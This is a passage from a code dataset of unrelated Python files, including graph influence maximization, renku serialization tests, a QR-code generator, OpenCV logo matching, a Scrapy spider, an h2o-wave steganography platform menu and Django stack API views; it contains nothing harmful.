in user_gain:\r\n if user_gain[node] > max_gain:\r\n uStar = node\r\n max_gain = user_gain[node]\r\n return uStar\r\n\r\ndef update(graph, uStar, activeUser):\r\n seeds = set()\r\n seeds.add(uStar)\r\n queue = []\r\n queue.extend(seeds)\r\n checked = copy.deepcopy(seeds)\r\n while len(queue) != 0:\r\n current_node = queue.pop(0)\r\n children = graph.get_children(current_node)\r\n for child in children:\r\n if child not in checked:\r\n rate = graph.edges[(current_node, child)]\r\n if tools.isHappened(rate):\r\n checked.add(child)\r\n queue.append(child)\r\n for node in checked:\r\n activeUser.add(node)\r\n return None\r\n\r\nif __name__ == '__main__':\r\n path = \"soc-Epinions1.txt\"\r\n graph = tools.readGraph_direct(path)\r\n\r\n # nodes_acceptance = acceptance.acceptanceMap05[path]\r\n\r\n pathh = \"Epin-accept\"\r\n nodes_acceptance = tools.readAccept(pathh)\r\n\r\n b = 5\r\n c = 1\r\n epsilon = 0.5\r\n delta = 0.5\r\n\r\n k = 10\r\n print(\"k = \" + str(k))\r\n time_start = time.time()\r\n influence = adaptgreedy(graph, b, c, k, nodes_acceptance, epsilon, delta)\r\n time_end = time.time()\r\n print(influence)\r\n print('totally cost', time_end - time_start)","sub_path":"IMMASamplingParallel.py","file_name":"IMMASamplingParallel.py","file_ext":"py","file_size_in_byte":6691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"167897621","text":"#\n# Copyright 2017-2023- Swiss Data Science Center (SDSC)\n# A partnership between École Polytechnique Fédérale de Lausanne (EPFL) and\n# Eidgenössische Technische Hochschule Zürich (ETHZ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Serialization tests for renku models.\"\"\"\n\nimport datetime\nfrom urllib.parse import urljoin\n\nimport pytest\n\nfrom renku.core.migration.models import v9 as old_datasets\nfrom renku.core.util.util import is_uuid\nfrom tests.utils import get_dataset_with_injection\n\n\ndef test_dataset_deserialization(project_with_datasets):\n \"\"\"Test Dataset deserialization.\"\"\"\n dataset = get_dataset_with_injection(\"dataset-1\")\n\n dataset_types = {\n \"date_created\": [datetime.datetime],\n \"creators\": [list],\n \"description\": [str, type(None)],\n \"files\": [list],\n \"identifier\": [str],\n \"keywords\": [list],\n }\n\n for attribute, type_ in dataset_types.items():\n assert type(dataset.__getattribute__(attribute)) in type_\n\n creator_types = {\"email\": str, \"id\": str, \"name\": str, \"affiliation\": str}\n\n creator = get_dataset_with_injection(\"dataset-1\").creators[0]\n\n for attribute, type_ in creator_types.items():\n assert type(getattr(creator, attribute)) is type_\n\n\n@pytest.mark.xfail\ndef test_uuid_migration(dataset_metadata, project):\n \"\"\"Test migration of id with UUID.\"\"\"\n dataset = old_datasets.Dataset.from_jsonld(dataset_metadata)\n\n assert is_uuid(dataset.identifier)\n assert urljoin(\"/datasets/\", dataset.identifier) == dataset.id\n\n\ndef test_dataset_creator_email(dataset_metadata):\n \"\"\"Check that creators without an email are assigned a blank node.\"\"\"\n # modify the dataset metadata to change the creator\n dataset = old_datasets.Dataset.from_jsonld(dataset_metadata)\n\n dataset.creators[0].id = \"mailto:None\"\n dataset_broken = old_datasets.Dataset.from_jsonld(dataset.as_jsonld())\n assert \"mailto:None\" not in dataset_broken.creators[0].id\n","sub_path":"tests/core/commands/test_serialization.py","file_name":"test_serialization.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356188307","text":"import json\nimport qrcode\nimport requests\nimport pyperclip\n\n'''以下提供两种方法生成二维码,\n一是getqrcode,通过api接口获取,需要联网\n二是makeqrcode,本地生成,无需联网\n'''\n\n#联图网http://www.liantu.com/pingtai/免费二维码生成api\ndef getqrcode(text, dstpath='qrcode.png'):\n '''联网api获取'''\n url = 'http://qr.liantu.com/api.php?text='\n #依据api请求的要求,需要替换一些字符\n text = text.replace('&', '%26').replace('\\n', '%OA')\n re =requests.get(url + text)\n with open(dstpath, 'wb') as qr:\n qr.write(re.content)\n\ndef makeqrcode(text, dstpath='qrcode.png'):\n '''本地生成'''\n pic= qrcode.make(text)\n pic.save(dstpath)\n\nif __name__ == '__main__':\n text = input('输入内容,回车读取剪切板:\\n')\n if text == '':\n text = pyperclip.paste()\n print('读取剪切板内容: ',text)\n makeqrcode(text) \n #getqrcode(text)\n print('完成')\n","sub_path":"二维码生成.py","file_name":"二维码生成.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"173141783","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 2 15:46:27 2018\n\n@author: monodeep.das@ust-global.com\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport math\n\ndef getB1(x,y,xmean,ymean): \n sumnum=sum([(x[i]-xmean)*(y[i]-ymean) for i in range(len(x))])\n sumden=sum([(x[i]-xmean)**2 for i in range(len(x))])\n \n return sumnum/sumden\n \ndef getB0(ymean,B1,xmean):\n return (ymean-(B1*xmean))\n\ndef ypredicted(B0,B1,x):\n return [(B0+(B1*x[i])) for i in range(len(x))]\n\ndef RMSE(y,ypred):\n return math.sqrt(sum([(y[i]-ypred[i])**2 for i in range(len(y))])/len(y))\n\ndef getSSres(y,ypred):\n return sum([(y[i]-ypred[i])**2 for i in range(len(y))])\n \ndef getSStot(y,ymean):\n return sum([(y[i]-ymean)**2 for i in range(len(y))])\n\ndef getRsqr(SSres,SStot):\n return (1-(SSres/SStot))\n\ndef all_at_a_time(path_to_file):\n df=pd.read_excel(path_to_file)\n df=df.iloc[:,[5,13]]\n y=df.iloc[:,1]\n x=df.iloc[:,0]\n \n ymean=sum(y)/len(y)\n xmean=sum(x)/len(x)\n B1=getB1(x,y,xmean,ymean)\n B0=getB0(ymean,B1,xmean)\n ypred=ypredicted(B0,B1,x)\n rmse=RMSE(y,ypred)\n SSres=getSSres(y,ypred)\n SStot=getSStot(y,ymean)\n Rsqr=getRsqr(SSres,SStot)\n \n print('Taking all the data at a time')\n print('B1= ',B1,'\\nB0= ',B0,'\\nRMSE= ',rmse,'\\nSSres= ',\n SSres,'\\nSStot= ',SStot,'\\nRsqr= ',Rsqr)\n\ndef cross_validation(path_to_file):\n df=pd.read_excel(path_to_file)\n df=df.iloc[:,[5,13]]\n y=df.iloc[:,1]\n x=df.iloc[:,0]\n \n indexs=[0,100,200,300,400,507]\n \n for i in range(1,len(indexs)):\n xs=x[indexs[i-1],indexs[i]]\n ys=y[:,indexs[i-1]:indexs[i]]\n \n ymean=sum(y)/len(y)\n xmean=sum(x)/len(x)\n B1=getB1(x,y,xmean,ymean)\n B0=getB0(ymean,B1,xmean)\n ypred=ypredicted(B0,B1,x)\n rmse=RMSE(y,ypred)\n SSres=getSSres(y,ypred)\n SStot=getSStot(y,ymean)\n Rsqr=getRsqr(SSres,SStot)\n \n print('Taking the data at intervals : X[',i-1,':',i,']')\n print('B1= ',B1,'\\nB0= ',B0,'\\nRMSE= ',rmse,'\\nSSres= ',\n SSres,'\\nSStot= ',SStot,'\\nRsqr= ',Rsqr)\n \npath_to_file = 'C:\\\\Users\\\\user\\\\Documents\\\\MonodeepPyPractise\\\\boston.xls'\n\nall_at_a_time(path_to_file)\n\ncross_validation(path_to_file)\n\n\n\n","sub_path":"Week2/PandasPractise/linear_reg.py","file_name":"linear_reg.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"217615763","text":"import threading\n\n# Aggiunto perchè a me non funziona il path -Pasquale\nimport sys\n\nsys.path.insert(1, '/home/capo80/Desktop/Pythia')\n\nfrom heartbeat.heartbeat import join_bootstrap\n\n\n# port used by bootstrap to accept new nodes\n# and send the list of the registered nodes\nACCEPT_LIST_PORT = 11111\nREAL_IP = \"172.74.2.203\"\n\ndef n1():\n join_bootstrap(25, REAL_IP, \"1234.234\", \"3234.243\", \"127.0.0.1\", ACCEPT_LIST_PORT,\n 1234, 10)\n\ndef n2():\n join_bootstrap(25, REAL_IP, \"2234.234\", \"5234.243\", \"127.0.0.1\", ACCEPT_LIST_PORT,\n 4321, 10)\n\ndef n3():\n join_bootstrap(25, REAL_IP, \"1214.234\", \"1114.243\", \"127.0.0.1\", ACCEPT_LIST_PORT,\n 5555, 10)\n\n\nt3 = threading.Thread(target=n1)\nt3.start()\nt4 = threading.Thread(target=n2)\nt4.start()\nt5 = threading.Thread(target=n3)\nt5.start()\n","sub_path":"Pythia/test/joiningNode.py","file_name":"joiningNode.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"57104249","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 21 10:51:35 2019\n\n@author: ZYS\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 21 10:32:21 2019\n\n@author: ZYS\n\"\"\"\n#测试相对系数0.75\nimport cv2\nimport numpy as np\n#import matplotlib.pyplot as plt\nimport heapq\n\ndef Check(kp1,kp2,good,times,times_mt,num_match):#挑选正确的匹配点并且去除重复的坐标点\n queryIdx_list=[]\n trainIdx_list=[]\n for i in range(num_match):\n queryIdx_list.append(good[i][0].queryIdx)\n trainIdx_list.append(good[i][0].trainIdx)\n #通过匹配的索引找到相应的坐标\n points_query=cv2.KeyPoint_convert(kp1,queryIdx_list)#第一列是x方向向右,第二列是y方向向下\n points_train=cv2.KeyPoint_convert(kp2,trainIdx_list)\n #寻找匹配正确的点\n times_mask=np.zeros((num_match,num_match))\n for i in range(num_match):\n for j in range(i+1,num_match):\n if (times_mt[i,j]-times<0.02) and (times-times_mt[i,j]<0.02):#距离在均值左右0.02认为可能性大\n times_mask[i,j]=1\n Pro=np.sum(times_mask,axis=1) #求行和数字越大,代表该点越可能是准确点 \n index=heapq.nlargest(num_dots,range(len(Pro)),Pro.take) #最可能的num_dots个点索引 \n if len(index)==num_dots:\n #当点够时,再剔除重复准确坐标的点,其实只要两个点就可以了\n queryIdx=np.array(queryIdx_list)[index].tolist()\n points_query=cv2.KeyPoint_convert(kp1,queryIdx)#获取商品图这num_dots点的实际坐标\n for i in range(len(points_query)):\n for j in range(i+1,len(points_query)):\n if np.sum(np.square( points_query[i,:]-points_query[j,:]))<1e-8:\n points_query[i,]=[0,0] #将重复的点之一设为0 \n row_query=[]#不重复的行索引\n for i in range(len(points_query)):\n if points_query[i,1]!=0:\n row_query.append(i) \n trainIdx=np.array(trainIdx_list)[index].tolist()#训练图的点的索引跟train图的索引对应\n points_train=cv2.KeyPoint_convert(kp2,trainIdx) \n for i in range(len(points_train)):\n for j in range(i+1,len(points_train)):\n if np.sum(np.square( points_train[i,:]-points_train[j,:]))<1e-8:\n points_train[i,]=[0,0] #将重复的点之一设为0 \n row_train=[]#不重复的行索引\n for i in range(len(points_train)):\n if points_train[i,1]!=0:\n row_train.append(i) \n row_valid=[val for val in row_query if val in row_train]#交集 \n points_query_valid=points_query[row_valid,:]#获取了商品图不重复的较为准确的点坐标\n points_train_valid=points_train[row_valid,:]#获取了训练图不重复的较为准确的点坐标\n else:\n points_query_valid=[]\n points_train_valid=[]\n return points_query_valid,points_train_valid\ndef In_Region1(points_query_valid,points_train_valid,times,img_logo_resize_shape):\n if times>1:#可以适当放大点\n Qualified = False #放大的在100*200的最大logo图还大,不合格 \n elif times<0.8:#可以适当放小点\n Qualified = False #即使是在区域内但是不满80%,仍然不合格\n # 当times在0.8和1之间后,需要判断左上角里的logo是否完整,即是否有部分不在指定区域内\n else:\n x1_query = points_query_valid[0,:]\n x2_query = points_query_valid[1,:]\n x1_train = points_train_valid[0,:]\n x2_train = points_train_valid[1,:]\n dx1=x1_query[0]-times*x1_train[0]#计算平移位置dx\n dy1=x1_query[1]-times*x1_train[1]#计算平移位置dy\n dx2=x2_query[0]-times*x2_train[0]#计算平移位置dx\n dy2=x2_query[1]-times*x2_train[1]#计算平移位置dy\n dx=(dx1+dx2)/2\n dy=(dy1+dy2)/2\n #那么左上角的位置就是(dx,dy),x方向是向右,y方向是向下\n x_=[0,0]\n x_[0]=times*img_logo_resize_shape[1]+dx\n x_[1]=times*img_logo_resize_shape[0]+dy\n ###附加功能:截取商品图匹配logo的位置(可注释)\n left_upper_x=dx if dx>0 else 0 #匹配的主图上训练图的左上角坐标(可能是负数)\n left_upper_y=dy if dy>0 else 0\n left_upper_detect_cropped=img_commodity[int(left_upper_y):int(np.rint(x_[1])),int(left_upper_x):int(np.rint(x_[0]))]\n cv2.imwrite(\"./match_cropped_images/match_cropped.jpg\", left_upper_detect_cropped)\n print(\"截取匹配区域Done!\") \n ###\n #计算匹配的商品图右下角的坐标\n right_lower_x=int(np.rint(x_[0]))\n right_lower_y=int(np.rint(x_[1]))\n if right_lower_x>=200 or right_lower_y>=100:\n Qualified = False # 匹配的主图上的训练图超出区域,判定为不合格!!! \n else:\n Qualified = True # 匹配的主图上的训练图在区域内,判定为合格!\n return Qualified\n\ndef Cal_times(good,points_query,points_train,kp1,kp2):\n num_match=len(good)\n #再精选(尽量确保匹配的点是正确的)\n times_mt=np.zeros((num_match,num_match))#缩放比例矩阵\n times_list=[]\n for i in range(num_match):\n for j in range(i+1,num_match):\n if np.sum(np.square(points_train[i,:]-points_train[j,:]))>1e-8: \n times_mt[i,j]=np.sqrt(np.sum(np.square(points_query[i,:]-points_query[j,:])))/np.sqrt(np.sum(np.square(points_train[i,:]-points_train[j,:])))\n times_list.append(times_mt[i,j])\n #统计该倍数数组的直方图,进行筛选出正确的距离倍数 \n n,bins=np.histogram(times_list,15,range=(0.5,2))#倍数准确度在0.05精度\n# plt.figure(figsize=(8,8))\n# plt.hist(times_list,20,range=(0.5,2))\n candidates=[]\n left_node=np.argsort(n)[-1]#最大的\n for i in range(len(times_list)):\n if times_list[i]>bins[left_node] and times_list[i]bins[left_node] and candidates[i]=num_dots:#继续判断\n Qualified=Validation(good,kp1,kp2,img_logo_resize.shape)\n else:\n Qualified=False#good的点不够num_dots,认为左上角无logo\n return Qualified\ndef Match(des1,des2):\n # FlannBasedMatcher解决匹配\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\n search_params = dict(checks=50)\n flann = cv2.FlannBasedMatcher(index_params,search_params)\n matches = flann.knnMatch(des1,des2,k=2)\n good = []\n for m,n in matches:\n if m.distance < 0.75*n.distance:\n good.append([m])\n print ('FLANN matches...',len(matches)) \n print ('FLANN good',len(good))\n return good\n############################## \n#parameters setting\nnum_dots=5 #能匹配的最少的点\n\n#测试乔丹\n#path1 ='./test_images/60.jpg'\n#path1 ='./test_images/61.jpg'\n#path1 ='./test_images/62.jpg'\n#path1 ='./test_images/63.jpg'\n#path1 ='./test_images/64.jpg'\n#path1 ='./test_images/65.jpg'\n#path1 ='./test_images/66.jpg'\n#path1 ='./test_images/67.jpg'#没测到\n#path1 ='./test_images/68.jpg'\n#path1 ='./test_images/82.jpg'\n#path2 ='./test_images/logo_5.jpg'\n#测试古莱登\npath1 ='./test_images/20190718112141836.jpg'\n#path1 ='./test_images/20190718112154125.jpg'\n#path1 ='./test_images/20190718112157893.jpg'\n#path1 ='./test_images/20190718112200900.jpg'\n#path1 ='./test_images/20190718112206220.jpg'\n#path1 ='./test_images/20190718112208748.jpg'\n#path1 ='./test_images/20190718112211388.jpg'\npath2 ='./test_images/logo_1.jpg'\n#测试禾玉珠宝\n#path1 ='./test_images/90.jpg'\n#path1 ='./test_images/91.jpg'\n#path1 ='./test_images/92.jpg'\n#path1 ='./test_images/93.jpg'\n#path1 ='./test_images/94.jpg'\n#path1 ='./test_images/95.jpg'\n#path1 ='./test_images/112.jpg'\n#path2 ='./test_images/logo_6.jpg'\n#测试周六福\n#path1 ='./test_images/0.jpg'\n#path1 ='./test_images/1.jpg'\n#path1 ='./test_images/2.jpg'\n#path1 ='./test_images/3.jpg'\n#path1 ='./test_images/4.jpg'\n#path1 ='./test_images/5.jpg'\n#path2 ='./test_images/logo_3.jpg'\n#测试小米\n#path1 ='./test_images/120.jpg'#标志合格\n#path1 ='./test_images/121.jpg'#标志合格\n#path1 ='./test_images/122.jpg'\n#path1 ='./test_images/123.jpg'\n#path1 ='./test_images/124.jpg'\n#path1 ='./test_images/125.jpg'\n##path1 ='./test_images/127.jpg'\n#path1 ='./test_images/137.jpg'\n#path1 ='./test_images/145.jpg'\n#path2 ='./test_images/logo_8.jpg'\n\n\n#read images\nimg_commodity=cv2.imread(path1)#商品图\nimg_commodity=cv2.resize(img_commodity,(800,800),interpolation=cv2.INTER_CUBIC)#resize到800*800\nimg_logo=cv2.imread(path2)#logo图\nQualified=Decision_region1(img_commodity,img_logo,num_dots)\nif Qualified:\n print(\"该商品图区域一合格!\")\nelse:\n print(\"该商品图区域一不合格!!!\")","sub_path":"TASK1/主程序.py","file_name":"主程序.py","file_ext":"py","file_size_in_byte":11549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"218645245","text":"import scrapy\nimport urlparse\n\nfrom scrapy_product.items import ProductItem\nfrom scrapy.selector import Selector\nfrom scrapy.http import HtmlResponse\nfrom scrapy import log\n\nclass productsSpider(scrapy.Spider):\n name = \"products\"\n allowed_domains = [\"http://www.allen-heath.com/\"]\n start_urls = [\n \"http://www.allen-heath.com/ahproducts/ilive-80/\",\n \"http://www.allen-heath.com/ahproducts/ilive-112/\"\n ]\n\n def parse(self, response):\n for sel in response.xpath('/html'):\n item = ProductItem()\n item['model'] = sel.css('#prodsingleouter > div > div > h2::text').extract() # The value I'd like to use to name my images.\n item['shortdesc'] = sel.css('#prodsingleouter > div > div > h3::text').extract()\n item['desc'] = sel.css('#tab1 #productcontent').extract()\n item['series'] = sel.css('#pagestrip > div > div > a:nth-child(3)::text').extract()\n item['imageorig'] = sel.css('#prodsingleouter > div > div > h2::text').extract()\n item['image_urls'] = sel.css('#tab1 #productcontent .col-sm-9 img').xpath('./@src').extract()\n item['image_urls'] = [urlparse.urljoin(response.url, url) for url in item['image_urls']]\n yield item\n\n","sub_path":"scrapy_product/scrapy_product/spiders/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"377060784","text":"import os\nimport sys\nsys.path.append(os.path.abspath('..'))\n\nfrom h2o_wave import Q, app, handle_on, main, on, ui, graphics\nfrom icecream import ic\nfrom web.utils import *\nfrom web.image_steganography import *\nfrom web.imgae_steganalysis import *\nfrom web.text_steganography import *\nfrom web.text_steganalysis import *\nfrom web.download_section import *\n\n\nfirst_level_menu = {\n 'menu/index': '首页',\n 'menu/image_stega': '图像隐写',\n 'menu/image_steganalysis': '图像隐写分析',\n 'menu/text_stega': '文本隐写',\n 'menu/text_steganalysis': '文本隐写分析',\n 'menu/download_section': '下载专区',\n}\nfirst_level_help = {\n 'help/about': '关于',\n 'help/support': '支持',\n}\n\n#================================================================\n# 首页\n#================================================================\n@app('/')\nasync def serve(q:Q):\n ic(q.args)\n # ic(vars(q.page['tab_bar'].tab_bar))\n if not q.client.initialized:\n await menu_index(q)\n location = q.args['#']\n if location:\n location = location.replace('/', '_')\n await eval(location)(q)\n elif not str(q.args):\n location = 'menu_index'\n await eval(location)(q)\n else:\n await handle_on(q)\n#================================================================\n# 菜单项\n#================================================================\n@on(arg='#menu/index')\nasync def menu_index(q:Q):\n if not q.client.initialized:\n q.page['meta'] = layout1\n q.page['header'] = ui.header_card(\n # Place card in the header zone, regardless of viewport size.\n box='header',\n title='集成隐写/分析平台',\n subtitle='Integrated Steganography/Steganalysis platform',\n )\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n # ui.tab('image_stega', '图像隐写'),\n # ui.tab('image_steganalysis', '图像隐写分析'),\n # ui.tab('text_stega', '文本隐写'),\n # ui.tab('text_steganalysis', '文本隐写分析'),\n # ui.tab('#menu/download_section', '下载专区'),\n ])\n q.page['v_nav'] = ui.nav_card(\n box=ui.boxes(\n ui.box('sidebar', height='100%'),\n ui.box('sidebar', height='100%'),\n ui.box('sidebar', height='600px'),\n ui.box('sidebar', height='800px'),\n ),\n value='#menu/index',\n items=[\n ui.nav_group('Menu', items=[\n ui.nav_item(name=f'#{k}', label=v) for k, v in first_level_menu.items()\n ]),\n ui.nav_group('帮助', items=[\n ui.nav_item(name=f'#{k}', label=v) for k, v in first_level_help.items()\n ])\n ],\n )\n q.page['content'] = ui.form_card(box='content', items=[\n # ui.text('正在开发中...'),\n ])\n \n # q.page['footer'] = ui.form_card(box='footer', items=[\n # ui.text('nuist')\n # ])\n\n q.client.initialized = True\n await q.page.save()\n else:\n q.page['meta'] = layout1\n del q.page['content_left']\n del q.page['content_right']\n q.page['v_nav'].value = '#menu/index'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('12', '待定1'),\n ui.tab('1223', '待定2'),\n # ui.tab('image_steganalysis', '图像隐写分析'),\n # ui.tab('text_stega', '文本隐写'),\n # ui.tab('text_steganalysis', '文本隐写分析'),\n # ui.tab('#menu/download_section', '下载专区'),\n\n ])\n # image_path, = await q.site.upload(['/home/kevin2li/wave/myapps/web/upload/2.png'])\n # q.page['content'] = ui.markdown_card(box='content', title='首页', content=f'![plot]({image_path})')\n await q.page.save()\n\n@on(arg='#menu/image_stega')\nasync def menu_image_stega(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#menu/image_stega'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('image_embed', '自适应隐写'),\n ui.tab('image_watermark', '数字水印'),\n ui.tab('image_hiding', '以图藏图'),\n # ui.tab('image_embed', '嵌入'),\n # ui.tab('image_extract', '提取'),\n # ui.tab('image_watermark', '数字水印'),\n ])\n q.page['content'] = ui.form_card(box=ui.box('content'), items=[], title='')\n await q.page.save()\n\n@on(arg='#menu/image_steganalysis')\nasync def menu_image_steganalysis(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#menu/image_steganalysis'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('image_instance_level', '单样本分析'),\n ui.tab('image_dataset_level', '数据集分析'),\n ])\n await image_instance_level(q)\n\n@on(arg='#menu/text_stega')\nasync def menu_text_stega(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#menu/text_stega'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('text_embed', '嵌入'),\n ui.tab('text_extract', '提取'),\n ])\n await text_embed(q)\n\n@on(arg='#menu/text_steganalysis')\nasync def menu_text_steganalysis(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#menu/text_steganalysis'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('text_instance_level', '单样本分析'),\n ui.tab('text_dataset_level', '数据集分析'),\n ])\n await text_instance_level(q)\n\n@on(arg='#menu/download_section')\nasync def menu_download_section(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#menu/download_section'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n ui.tab('dataset', '数据集'),\n ui.tab('code', '代码'),\n ui.tab('paper', '论文'),\n ])\n await dataset(q)\n\n@on(arg='#help/about')\nasync def help_about(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#help/about'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n \n ])\n q.page['content'] = ui.form_card(box='content', items=[\n ui.text('正在开发中...')\n ])\n await q.page.save()\n\n@on(arg='#help/support')\nasync def help_support(q:Q):\n q.page['meta'] = layout1\n q.page['v_nav'].value = '#help/support'\n q.page['tab_bar'] = ui.tab_card(box='tab_bar', items=[\n\n ])\n q.page['content'] = ui.form_card(box='content', items=[\n ui.text('正在开发中...')\n ])\n await q.page.save()\n\n\n\n","sub_path":"web/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":6599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"434703432","text":"#!/usr/bin/env python\n# coding: utf-8\nfrom .base import APIView, Resp404, RespBadRequest, RespError\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nimport json\n\nfrom ..models import Stack, Template, TemplateVersion\nfrom ..consts import StackStatus, TemplateStatus, TemplateVersionStatus, StackTypes\nfrom ..engine.stack import StackEngine\nfrom ..engine.variable import VariableValidator\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\ndef stack_to_dict(stack):\n variables = json.loads(stack.variables) if isinstance(stack.variables, str) else stack.variables\n for schema in json.loads(stack.template_version.variables) or {}:\n name = schema.get('name')\n no_echo = schema.get('no_echo')\n if name and no_echo is True:\n if name in variables:\n variables[name] = '**'\n\n return {\n 'name': stack.name,\n 'uuid': stack.uuid,\n # 'owner': stack.owner,\n 'status': StackStatus.get_code_string(stack.status),\n 'template': stack.template_version.template.name,\n 'template_version': stack.template_version.version,\n # 'template_version_str': stack.template_version.version_str,\n 'variables': variables,\n 'created_at': stack.created_at,\n 'modified_at': stack.modified_at,\n }\n\n\nclass StackListAPIView(APIView):\n permission_classes = (IsAuthenticated, )\n\n def get(self, request, format=None, *args, **kwargs):\n log.debug('List all my stacks.')\n\n with_destroy = request.GET.get('destroy', '')\n with_destroy = True if with_destroy.lower() == 'true' else False\n\n stacks = []\n stack_iter = Stack.objects.filter(owner=request.user).exclude(type=StackTypes.TEMP)\n if not with_destroy:\n stack_iter = stack_iter.filter(status__lte=StackStatus.APPLY_SUCCESS, status__gte=StackStatus.NEW)\n for s in stack_iter:\n stack = stack_to_dict(s)\n stacks.append(stack)\n return Response(stacks)\n\n def post(self, request, format=None, *args, **kwargs):\n\n try:\n data = request.body.decode() if request.body else '{}'\n data = json.loads(data) or {}\n except Exception as e:\n return RespBadRequest(str(e))\n tplname = data.get('template_name', None)\n variables = data.get('variables', None)\n\n if not tplname:\n return RespBadRequest('template_name not specified.')\n if variables is None:\n return RespBadRequest('variables not specified')\n\n try:\n template = Template.objects.get(name=tplname, status__gte=TemplateStatus.ALPHA)\n except Template.DoesNotExist:\n return Resp404('Template %s not found.' % tplname)\n\n versions = TemplateVersion.objects.filter(template=template, status__gte=TemplateVersionStatus.OPEN\n ).order_by('-version')\n if len(versions) == 0:\n return Resp404('No available version found for template %s.' % tplname)\n\n last_version = versions[0]\n\n try:\n schemas = json.loads(last_version.variables)\n validator = VariableValidator(schemas)\n validator.validate(variables)\n if not validator.is_succeed:\n err_msg = 'Invalid variables.'\n sb = []\n log.error(err_msg)\n for name, errors in validator.errors.items():\n for e in errors:\n if e.get('level') == validator.MSG_ERROR:\n s = e.get('message', '')\n log.error('\\t%s: %s' % (name, s))\n sb.append(s)\n return RespBadRequest(err_msg, detail=sb)\n except Exception as e:\n log.exception(e)\n return RespBadRequest('Unhandled validation error', detail=str(e))\n\n variables = json.dumps(variables)\n stack = Stack.objects.create(owner=request.user, name=tplname, template_version=last_version,\n variables=variables, status=StackStatus.NEW)\n stack.save()\n\n try:\n engine = StackEngine.get_engine(stack)\n task = engine.create()\n log.info('Creating task %s for stack %s(%s) started.' % (task.id, stack.uuid, stack.name))\n except Exception as e:\n log.exception(e)\n return RespBadRequest('Unhandled error', detail=str(e))\n\n return Response({\n \"task\": task.id,\n \"stack\": stack.uuid\n })\n\n\nclass StackAPIView(APIView):\n permission_classes = (IsAuthenticated, )\n\n def get(self, request, format=None, *args, **kwargs):\n uuid = kwargs.get('uuid', None)\n log.debug('Get stack %s' % uuid)\n\n try:\n stack = Stack.objects.exclude(type=StackTypes.TEMP).get(owner=request.user, uuid=uuid)\n except Stack.DoesNotExist:\n return Resp404('Stack %s is not found.' % uuid)\n\n stack = stack_to_dict(stack)\n return Response(stack)\n\n def post(self, request, format=None, *args, **kwargs):\n uuid = kwargs.get('uuid', None)\n\n try:\n stack = Stack.objects.get(owner=request.user, uuid=uuid)\n except Stack.DoesNotExist:\n return Resp404('Stack %s is not found.' % uuid)\n\n if stack.status == StackStatus.DESTROY_SUCCESS:\n return RespBadRequest('Stack %s was destroyed.' % uuid)\n\n try:\n data = request.body.decode() if request.body else '{}'\n data = json.loads(data) or {}\n except Exception as e:\n return RespBadRequest(str(e))\n\n tplname = data.get('template_name', None)\n variables = data.get('variables', None)\n\n try:\n schemas = json.loads(stack.template_version.variables)\n validator = VariableValidator(schemas)\n validator.validate(variables, ignore_missing=True)\n\n existing_variables = json.loads(stack.variables)\n variables_changed = validator.validate_for_update(variables, existing_variables)\n\n # if not variables_changed:\n # return Response\n\n if not validator.is_succeed:\n err_msg = 'Invalid variables.'\n sb = []\n log.error(err_msg)\n for name, errors in validator.errors.items():\n for e in errors:\n if e.get('level') == validator.MSG_ERROR:\n s = e.get('message', '')\n log.error('\\t%s: %s' % (name, s))\n sb.append(s)\n return RespBadRequest(err_msg, detail=sb)\n except Exception as e:\n log.exception(e)\n return RespBadRequest('Unhandled validation error', detail=str(e))\n\n if tplname:\n log.warn('Ignored template_name. Template can not be changed to existing stack')\n\n if variables:\n existing_variables.update(variables)\n stack.variables = json.dumps(existing_variables)\n stack.save()\n log.info('Variables updated (%s).' % stack)\n\n engine = StackEngine.get_engine(stack)\n task = engine.update()\n 